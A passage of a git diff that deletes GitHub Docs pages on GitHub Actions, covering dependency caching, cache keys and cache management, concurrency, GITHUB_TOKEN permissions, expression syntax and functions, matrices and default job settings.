finds a partial match, the most recent cache is restored to the `path` directory. -1. The `cache` action completes and the next step in the job runs. -1. If the job completes successfully, the action automatically creates a new cache with the contents of the `path` directory. - -For a more detailed explanation of the cache matching process, see [Matching a cache key](#matching-a-cache-key). - -### Example using the `cache` action - -This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file. - -```yaml copy -name: Caching with npm -on: push -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Cache node modules - id: cache-npm - uses: {% data reusables.actions.action-cache %} - env: - cache-name: cache-node-modules - with: - # npm cache files are stored in `~/.npm` on Linux/macOS - path: ~/.npm - key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %} - {% raw %}${{ runner.os }}-build-{% endraw %} - {% raw %}${{ runner.os }}-{% endraw %} - - - if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %} - name: List the state of node modules - continue-on-error: true - run: npm list - - - name: Install dependencies - run: npm install - - - name: Build - run: npm run build - - - name: Test - run: npm test -``` - -### Using contexts to create cache keys - -A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts) and [AUTOTITLE](/actions/learn-github-actions/expressions). - -Using expressions to create a `key` allows you to automatically create a new cache when dependencies change. - -For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. So, when the dependencies that make up the `package-lock.json` file change, the cache key changes and a new cache is automatically created. - -{% raw %} - -```yaml -npm-${{ hashFiles('package-lock.json') }} -``` - -{% endraw %} - -{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`. - -```yaml -npm-d5ea0750 -``` - -### Using the output of the `cache` action - -You can use the output of the `cache` action to do something based on whether a cache hit or miss occurred. When an exact match is found for a cache for the specified `key`, the `cache-hit` output is set to `true`. - -In the example workflow above, there is a step that lists the state of the Node modules if a cache miss occurred: - -```yaml -- if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %} - name: List the state of node modules - continue-on-error: true - run: npm list -``` - -## Matching a cache key - -The `cache` action first searches for cache hits for `key` and the cache _version_ in the branch containing the workflow run. If there is no hit, it searches for `restore-keys` and the _version_. If there are still no hits in the current branch, the `cache` action retries same steps on the default branch. Please note that the scope restrictions apply during the search. For more information, see [Restrictions for accessing a cache](#restrictions-for-accessing-a-cache). - -Cache version is a way to stamp a cache with metadata of the `path` and the compression tool used while creating the cache. This ensures that the consuming workflow run uniquely matches a cache it can actually decompress and use. For more information, see [Cache Version](https://github.com/actions/cache#cache-version) in the Actions Cache documentation. - -`restore-keys` allows you to specify a list of alternate restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches the `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache. - -### Example using multiple restore keys - -{% raw %} - -```yaml -restore-keys: | - npm-feature-${{ hashFiles('package-lock.json') }} - npm-feature- - npm- -``` - -{% endraw %} - -The runner evaluates the expressions, which resolve to these `restore-keys`: - -{% raw %} - -```yaml -restore-keys: | - npm-feature-d5ea0750 - npm-feature- - npm- -``` - -{% endraw %} - -The restore key `npm-feature-` matches any key that starts with the string `npm-feature-`. For example, both of the keys `npm-feature-fd3052de` and `npm-feature-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order: - -1. **`npm-feature-d5ea0750`** matches a specific hash. -1. **`npm-feature-`** matches cache keys prefixed with `npm-feature-`. -1. **`npm-`** matches any keys prefixed with `npm-`. - -#### Example of search priority - -```yaml -key: - npm-feature-d5ea0750 -restore-keys: | - npm-feature- - npm- -``` - -For example, if a pull request contains a `feature` branch and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order: - -1. Key `npm-feature-d5ea0750` in the `feature` branch -1. Key `npm-feature-` in the `feature` branch -1. Key `npm-` in the `feature` branch -1. Key `npm-feature-d5ea0750` in the `main` branch -1. Key `npm-feature-` in the `main` branch -1. Key `npm-` in the `main` branch - -## Usage limits and eviction policy - -{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited{% ifversion ghes %}. By default, the limit is 10 GB per repository, but this limit might be different depending on policies set by your enterprise owners or repository administrators.{% else %} to 10 GB.{% endif %} {% data reusables.actions.cache-eviction-policy %} - -{% data reusables.actions.cache-eviction-process %} The cache eviction process may cause cache thrashing, where caches are created and deleted at a high frequency. To reduce this, you can review the caches for a repository and take corrective steps, such as removing caching from specific workflows. For more information, see [Managing caches](#managing-caches).{% ifversion ghes %} You can also increase the cache size limit for a repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository). - -{% endif %} - -## Managing caches - -To manage caches created from your workflows, you can: - -* View a list of all cache entries for a repository. -* Filter and sort the list of caches using specific metadata such as cache size, creation time, or last accessed time. -* Delete cache entries from a repository. -* Monitor aggregate cache usage for repositories and organizations. - -There are multiple ways to manage caches for your repositories: - -* Using the {% data variables.product.prodname_dotcom %} web interface, as shown below. -* Using the REST API. For more information, see [AUTOTITLE](/rest/actions/cache). -* Installing the `gh cache` subcommand to manage your caches from the command line. For more information, see the [GitHub CLI documentation](https://cli.github.com/manual/gh_cache). - - > [!NOTE] - > If you are doing this manually, ensure you have version 2.32.0 or higher of the CLI installed. - -### Viewing cache entries - -You can use the web interface to view a list of cache entries for a repository. In the cache list, you can see how much disk space each cache is using, when the cache was created, and when the cache was last used. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.actions-cache-list %} -1. Review the list of cache entries for the repository. - - * To search for cache entries used for a specific branch, click the **Branch** dropdown menu and select a branch. The cache list will display all of the caches used for the selected branch. - * To search for cache entries with a specific cache key, use the syntax `key: key-name` in the **Filter caches** field. The cache list will display caches from all branches where the key was used. - - ![Screenshot of the list of cache entries.](/assets/images/help/repository/actions-cache-entry-list.png) - -### Deleting cache entries - -Users with `write` access to a repository can use the {% data variables.product.prodname_dotcom %} web interface to delete cache entries. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.actions-cache-list %} -1. To the right of the cache entry you want to delete, click {% octicon "trash" aria-label="Delete cache" %}. - - ![Screenshot of the list of cache entries. A trash can icon, used to delete a cache, is highlighted with a dark orange outline.](/assets/images/help/repository/actions-cache-delete.png) - -### Force deleting cache entries - -Caches have branch scope restrictions in place, which means some caches have limited usage options. For more information on cache scope restrictions, see [Restrictions for accessing a cache](#restrictions-for-accessing-a-cache), earlier in this article. If caches limited to a specific branch are using a lot of storage quota, it may cause caches from the `default` branch to be created and deleted at a high frequency. - -For example, a repository could have many new pull requests opened, each with their own caches that are restricted to that branch. These caches could take up the majority of the cache storage for that repository. {% data reusables.actions.cache-eviction-policy %} In order to prevent cache thrashing when this happens, you can set up workflows to delete caches on a faster cadence than the cache eviction policy will. You can use the {% data variables.product.prodname_cli %} to delete caches for specific branches. - -The following example workflow uses `gh cache` to delete up to 100 caches created by a branch once a pull request is closed. - -To run the following example on cross-repository pull requests or pull requests from forks, you can trigger the workflow with the `pull_request_target` event. If you do use `pull_request_target` to trigger the workflow, there are security considerations to keep in mind. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request_target). - -```yaml -name: cleanup caches by a branch -on: - pull_request: - types: - - closed - -jobs: - cleanup: - runs-on: ubuntu-latest - steps: - - name: Cleanup - run: | - echo "Fetching list of cache key" - cacheKeysForPR=$(gh cache list --ref $BRANCH --limit 100 --json id --jq '.[].id') - - ## Setting this to not fail the workflow while deleting cache keys. - set +e - echo "Deleting caches..." - for cacheKey in $cacheKeysForPR - do - gh cache delete $cacheKey - done - echo "Done" - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - GH_REPO: {% raw %}${{ github.repository }}{% endraw %} - BRANCH: refs/pull/{% raw %}${{ github.event.pull_request.number }}{% endraw %}/merge -``` - -Alternatively, you can use the API to automatically list or delete all caches on your own cadence. For more information, see [AUTOTITLE](/rest/actions/cache#about-the-cache-in-github-actions). diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs.md deleted file mode 100644 index c47af8ffabeb..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Control the concurrency of workflows and jobs -shortTitle: Concurrency -intro: Run a single job at a time. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/using-concurrency - - /actions/writing-workflows/choosing-what-your-workflow-does/using-concurrency - - /early-access/actions/running-additional-jobs-in-github-actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -By default, {% data variables.product.prodname_actions %} allows multiple jobs within the same workflow, multiple workflow runs within the same repository, and multiple workflow runs across a repository owner's account to run concurrently. This means that multiple instances of the same workflow or job can run at the same time, performing the same steps. - -{% data variables.product.prodname_actions %} also allows you to disable concurrent execution. This can be useful for controlling your account’s or organization’s resources in situations where running multiple workflows or jobs at the same time could cause conflicts or consume more Actions minutes and storage than expected. - -For example, the ability to run workflows concurrently means that if multiple commits are pushed to a repository in quick succession, each push could trigger a separate workflow run, and these runs will execute concurrently. - -## Using concurrency in different scenarios - -{% data reusables.actions.jobs.section-using-concurrency-jobs %} - -{% ifversion github-runner-dashboard %} - -## Monitoring your current jobs in your organization or enterprise - -{% data reusables.actions.github-hosted-runners-check-concurrency %} -{% endif %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md deleted file mode 100644 index 1f327c6b3113..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Controlling permissions for `GITHUB_TOKEN` -shortTitle: Permissions for `GITHUB_TOKEN` -intro: Modify the default permissions granted to `GITHUB_TOKEN`. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/assigning-permissions-to-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/assigning-permissions-to-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github-token ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %} - -## Defining access for the `GITHUB_TOKEN` permissions - -{% data reusables.actions.github-token-available-permissions %} - -### Changing the permissions in a forked repository - -{% data reusables.actions.forked-write-permission %} - -## Setting the `GITHUB_TOKEN` permissions for all jobs in a workflow - -You can specify `permissions` at the top level of a workflow, so that the setting applies to all jobs in the workflow. - -### Example: Setting the `GITHUB_TOKEN` permissions for an entire workflow - -{% data reusables.actions.jobs.setting-permissions-all-jobs-example %} - -## Setting the `GITHUB_TOKEN` permissions for a specific job - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %} - -### Example: Setting the `GITHUB_TOKEN` permissions for one job in a workflow - -{% data reusables.actions.jobs.setting-permissions-specific-jobs-example %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/evaluate-expressions-in-workflows-and-actions.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/evaluate-expressions-in-workflows-and-actions.md deleted file mode 100644 index 192511a3b8ef..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/evaluate-expressions-in-workflows-and-actions.md +++ /dev/null @@ -1,438 +0,0 @@ ---- -title: Evaluate expressions in workflows and actions -shortTitle: Expressions -intro: You can evaluate expressions in workflows and actions. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/learn-github-actions/expressions - - /actions/writing-workflows/choosing-what-your-workflow-does/expressions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About expressions - -You can use expressions to programmatically set environment variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. - -{% data reusables.actions.expressions-syntax-evaluation %} - -{% raw %} -`${{ <expression> }}` -{% endraw %} - -> [!NOTE] -> The exception to this rule is when you are using expressions in an `if` clause, where, optionally, you can usually omit {% raw %}`${{`{% endraw %} and {% raw %}`}}`{% endraw %}. For more information about `if` conditionals, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif). - -{% data reusables.actions.context-injection-warning %} - -### Example setting an environment variable - -{% raw %} - -```yaml -env: - MY_ENV_VAR: ${{ <expression> }} -``` - -{% endraw %} - -## Literals - -As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. - -| Data type | Literal value | -|-----------|---------------| -| `boolean` | `true` or `false` | -| `null` | `null` | -| `number` | Any number format supported by JSON. | -| `string` | You don't need to enclose strings in `{% raw %}${{{% endraw %}` and `{% raw %}}}{% endraw %}`. However, if you do, you must use single quotes (`'`) around the string. To use a literal single quote, escape the literal single quote using an additional single quote (`''`). Wrapping with double quotes (`"`) will throw an error. | - -Note that in conditionals, falsy values (`false`, `0`, `-0`, `""`, `''`, `null`) are coerced to `false` and truthy (`true` and other non-falsy values) are coerced to `true`. - -### Example of literals - -{% raw %} - -```yaml -env: - myNull: ${{ null }} - myBoolean: ${{ false }} - myIntegerNumber: ${{ 711 }} - myFloatNumber: ${{ -9.2 }} - myHexNumber: ${{ 0xff }} - myExponentialNumber: ${{ -2.99e-2 }} - myString: Mona the Octocat - myStringInBraces: ${{ 'It''s open source!' }} -``` - -{% endraw %} - -## Operators - -| Operator | Description | -| --- | --- | -| `( )` | Logical grouping | -| `[ ]` | Index | -| `.` | Property de-reference | -| `!` | Not | -| `<` | Less than | -| `<=` | Less than or equal | -| `>` | Greater than | -| `>=` | Greater than or equal | -| `==` | Equal | -| `!=` | Not equal | -| `&&` | And | -| <code>\|\|</code> | Or | - - > [!NOTE] - > * {% data variables.product.company_short %} ignores case when comparing strings. - > * `steps.<step_id>.outputs.<output_name>` evaluates as a string. {% data reusables.actions.expressions-syntax-evaluation %} For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#steps-context). - > * For numerical comparison, the `fromJSON()` function can be used to convert a string to a number. For more information on the `fromJSON()` function, see [fromJSON](#fromjson). - -{% data variables.product.prodname_dotcom %} performs loose equality comparisons. - -* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: - - | Type | Result | - | --- | --- | - | Null | `0` | - | Boolean | `true` returns `1` <br /> `false` returns `0` | - | String | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. | - | Array | `NaN` | - | Object | `NaN` | -* When `NaN` is one of the operands of any relational comparison (`>`, `<`, `>=`, `<=`), the result is always `false`. For more information, see the [NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN). -* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. -* Objects and arrays are only considered equal when they are the same instance. - -{% data variables.product.prodname_dotcom %} offers ternary operator like behaviour that you can use in expressions. By using a ternary operator in this way, you can dynamically set the value of an environment variable based on a condition, without having to write separate if-else blocks for each possible option. - -### Example - -{% raw %} - -```yaml -env: - MY_ENV_VAR: ${{ github.ref == 'refs/heads/main' && 'value_for_main_branch' || 'value_for_other_branches' }} -``` - -{% endraw %} - -In this example, we're using a ternary operator to set the value of the `MY_ENV_VAR` environment variable based on whether the {% data variables.product.prodname_dotcom %} reference is set to `refs/heads/main` or not. If it is, the variable is set to `value_for_main_branch`. Otherwise, it is set to `value_for_other_branches`. -It is important to note that the first value after the `&&` must be truthy. Otherwise, the value after the `||` will always be returned. - -## Functions - -{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: - -| Type | Result | -| --- | --- | -| Null | `''` | -| Boolean | `'true'` or `'false'` | -| Number | Decimal format, exponential for large numbers | -| Array | Arrays are not converted to a string | -| Object | Objects are not converted to a string | - -### contains - -`contains( search, item )` - -Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. - -#### Example using a string - -`contains('Hello world', 'llo')` returns `true`. - -#### Example using an object filter - -`contains(github.event.issue.labels.*.name, 'bug')` returns `true` if the issue related to the event has a label "bug". - -For more information, see [Object filters](#object-filters). - -#### Example matching an array of strings - -Instead of writing `github.event_name == "push" || github.event_name == "pull_request"`, you can use `contains()` with `fromJSON()` to check if an array of strings contains an `item`. - -For example, `contains(fromJSON('["push", "pull_request"]'), github.event_name)` returns `true` if `github.event_name` is "push" or "pull_request". - -### startsWith - -`startsWith( searchString, searchValue )` - -Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. - -#### Example of `startsWith` - -`startsWith('Hello world', 'He')` returns `true`. - -### endsWith - -`endsWith( searchString, searchValue )` - -Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. - -#### Example of `endsWith` - -`endsWith('Hello world', 'ld')` returns `true`. - -### format - -`format( string, replaceValue0, replaceValue1, ..., replaceValueN)` - -Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. - -#### Example of `format` - -{% raw %} - -```javascript -format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat') -``` - -{% endraw %} - -Returns 'Hello Mona the Octocat'. - -#### Example escaping braces - -{% raw %} - -```javascript -format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') -``` - -{% endraw %} - -Returns '{Hello Mona the Octocat!}'. - -### join - -`join( array, optionalSeparator )` - -The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. - -#### Example of `join` - -`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' - -### toJSON - -`toJSON(value)` - -Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. - -#### Example of `toJSON` - -`toJSON(job)` might return `{ "status": "success" }` - -### fromJSON - -`fromJSON(value)` - -Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert any data type that can be represented in JSON or JavaScript, such as strings, booleans, null values, arrays, and objects. - -#### Example returning a JSON object - -This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. - -{% raw %} - -```yaml copy -name: build -on: push -jobs: - job1: - runs-on: ubuntu-latest - outputs: - matrix: ${{ steps.set-matrix.outputs.matrix }} - steps: - - id: set-matrix - run: echo "matrix={\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" >> $GITHUB_OUTPUT - job2: - needs: job1 - runs-on: ubuntu-latest - strategy: - matrix: ${{ fromJSON(needs.job1.outputs.matrix) }} - steps: - - run: echo "Matrix - Project ${{ matrix.project }}, Config ${{ matrix.config }}" -``` - -{% endraw %} - -#### Example returning a JSON data type - -This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. - -```yaml copy -name: print -on: push -env: - continue: true - time: 3 -jobs: - job1: - runs-on: ubuntu-latest - steps: - - continue-on-error: {% raw %}${{ fromJSON(env.continue) }}{% endraw %} - timeout-minutes: {% raw %}${{ fromJSON(env.time) }}{% endraw %} - run: echo ... -``` - -The workflow uses the `fromJSON()` function to convert the environment variable `continue` from a string to a boolean, allowing it to determine whether to continue-on-error or not. Similarly, it converts the `time` environment variable from a string to an integer, setting the timeout for the job in minutes. - -### hashFiles - -`hashFiles(path)` - -Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. If the `path` pattern does not match any files, this returns an empty string. For more information about SHA-256, see [SHA-2](https://en.wikipedia.org/wiki/SHA-2). - -You can use pattern matching characters to match file names. Pattern matching for `hashFiles` follows glob pattern matching and is case-insensitive on Windows. For more information about supported pattern matching characters, see the [Patterns](https://www.npmjs.com/package/@actions/glob#patterns) section in the `@actions/glob` documentation. - -#### Examples with a single pattern - -Matches any `package-lock.json` file in the repository. - -`hashFiles('**/package-lock.json')` - -Matches all `.js` files in the `src` directory at root level, but ignores any subdirectories of `src`. - -`hashFiles('/src/*.js')` - -Matches all `.rb` files in the `lib` directory at root level, including any subdirectories of `lib`. - -`hashFiles('/lib/**/*.rb')` - -#### Examples with multiple patterns - -Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. - -`hashFiles('**/package-lock.json', '**/Gemfile.lock')` - -Creates a hash for all `.rb` files in the `lib` directory at root level, including any subdirectories of `lib`, but excluding `.rb` files in the `foo` subdirectory. - -`hashFiles('/lib/**/*.rb', '!/lib/foo/*.rb')` - -## Status check functions - -You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif) and [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsif). - -### success - -Returns `true` when all previous steps have succeeded. - -#### Example of `success` - -```yaml -steps: - ... - - name: The job has succeeded - if: {% raw %}${{ success() }}{% endraw %} -``` - -### always - -Causes the step to always execute, and returns `true`, even when canceled. The `always` expression is best used at the step level or on tasks that you expect to run even when a job is canceled. For example, you can use `always` to send logs even when a job is canceled. - -> [!WARNING] -> Avoid using `always` for any task that could suffer from a critical failure, for example: getting sources, otherwise the workflow may hang until it times out. If you want to run a job or step regardless of its success or failure, use the recommended alternative: `if: {% raw %}${{ !cancelled() }}{% endraw %}` - -#### Example of `always` - -```yaml -if: {% raw %}${{ always() }}{% endraw %} -``` - -### cancelled - -Returns `true` if the workflow was canceled. - -#### Example of `cancelled` - -```yaml -if: {% raw %}${{ cancelled() }}{% endraw %} -``` - -### failure - -Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. - -#### Example of `failure` - -```yaml -steps: - ... - - name: The job has failed - if: {% raw %}${{ failure() }}{% endraw %} -``` - -#### failure with conditions - -You can include extra conditions for a step to run after a failure, but you must still include `failure()` to override the default status check of `success()` that is automatically applied to `if` conditions that don't contain a status check function. - -##### Example of `failure` with conditions - -```yaml -steps: - ... - - name: Failing step - id: demo - run: exit 1 - - name: The demo step has failed - if: {% raw %}${{ failure() && steps.demo.conclusion == 'failure' }}{% endraw %} -``` - -## Object filters - -You can use the `*` syntax to apply a filter and select matching items in a collection. - -For example, consider an array of objects named `fruits`. - -```json -[ - { "name": "apple", "quantity": 1 }, - { "name": "orange", "quantity": 2 }, - { "name": "pear", "quantity": 1 } -] -``` - -The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`. - -You may also use the `*` syntax on an object. For example, suppose you have an object named `vegetables`. - -```json - -{ - "scallions": - { - "colors": ["green", "white", "red"], - "ediblePortions": ["roots", "stalks"], - }, - "beets": - { - "colors": ["purple", "red", "gold", "white", "pink"], - "ediblePortions": ["roots", "stems", "leaves"], - }, - "artichokes": - { - "colors": ["green", "purple", "red", "black"], - "ediblePortions": ["hearts", "stems", "leaves"], - }, -} -``` - -The filter `vegetables.*.ediblePortions` could evaluate to: - -```json - -[ - ["roots", "stalks"], - ["hearts", "stems", "leaves"], - ["roots", "stems", "leaves"], -] -``` - -Since objects don't preserve order, the order of the output cannot be guaranteed. diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/index.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/index.md deleted file mode 100644 index 5ae234abe5cb..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Choosing what your workflow does -shortTitle: Choose what workflows do -intro: 'Workflows automate tasks in your software development lifecycle. Many tasks that you manually complete can be converted to a {% data variables.product.prodname_actions %} workflow.' -redirect_from: - - /actions/using-jobs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /using-jobs-in-a-workflow - - /using-pre-written-building-blocks-in-your-workflow - - /using-github-cli-in-workflows - - /workflow-commands-for-github-actions - - /adding-scripts-to-your-workflow - - /controlling-permissions-for-github_token - - /evaluate-expressions-in-workflows-and-actions - - /store-information-in-variables - - /accessing-contextual-information-about-workflow-runs - - /passing-information-between-jobs - - /setting-a-default-shell-and-working-directory - - /using-environments-for-deployment - - /control-the-concurrency-of-workflows-and-jobs - - /running-variations-of-jobs-in-a-workflow - - /caching-dependencies-to-speed-up-workflows - - /storing-and-sharing-data-from-a-workflow ---- diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/passing-information-between-jobs.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/passing-information-between-jobs.md deleted file mode 100644 index eb77388f6a78..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/passing-information-between-jobs.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Passing information between jobs -shortTitle: Pass information -intro: You can define outputs to pass information from one job to another. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/defining-outputs-for-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/defining-outputs-for-jobs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.section-defining-outputs-for-jobs %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/running-variations-of-jobs-in-a-workflow.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/running-variations-of-jobs-in-a-workflow.md deleted file mode 100644 index 1a2ea51893d9..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/running-variations-of-jobs-in-a-workflow.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Running variations of jobs in a workflow -shortTitle: Run job variations -intro: Create a matrix to define variations for each job. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/using-a-build-matrix-for-your-jobs - - /actions/using-jobs/using-a-matrix-for-your-jobs - - /actions/examples/using-concurrency-expressions-and-a-test-matrix - - /actions/writing-workflows/choosing-what-your-workflow-does/using-a-matrix-for-your-jobs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About matrix strategies - -{% data reusables.actions.jobs.about-matrix-strategy %} - -## Using a matrix strategy - -{% data reusables.actions.jobs.using-matrix-strategy %} - -### Example: Using a single-dimension matrix - -{% data reusables.actions.jobs.single-dimension-matrix %} - -### Example: Using a multi-dimension matrix - -{% data reusables.actions.jobs.multi-dimension-matrix %} - -### Example: Using contexts to create matrices - -{% data reusables.actions.jobs.matrix-from-context %} - -## Expanding or adding matrix configurations - -{% data reusables.actions.jobs.matrix-include %} - -### Example: Expanding configurations - -{% data reusables.actions.jobs.matrix-expand-with-include %} - -### Example: Adding configurations - -{% data reusables.actions.jobs.matrix-add-with-include %} - -## Excluding matrix configurations - -{% data reusables.actions.jobs.matrix-exclude %} - -## Example: Using an output to define two matrices - -{% data reusables.actions.jobs.matrix-used-twice %} - -## Handling failures - -{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %} - -## Defining the maximum number of concurrent jobs - -{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/setting-a-default-shell-and-working-directory.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/setting-a-default-shell-and-working-directory.md deleted file mode 100644 index 88e76390e230..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/setting-a-default-shell-and-working-directory.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Setting a default shell and working directory -shortTitle: Set default values for jobs -intro: 'Define the default settings that will apply to all jobs in the workflow, or all steps in a job.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/setting-default-values-for-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/setting-default-values-for-jobs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %} - -## Setting default shell and working directory - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %} - -## Setting default values for a specific job - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %} - -## Setting default shell and working directory for a job - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %} - -### Example: Setting default `run` step options for a job - -{% data reusables.actions.jobs.setting-default-run-value-for-job-example %} diff --git 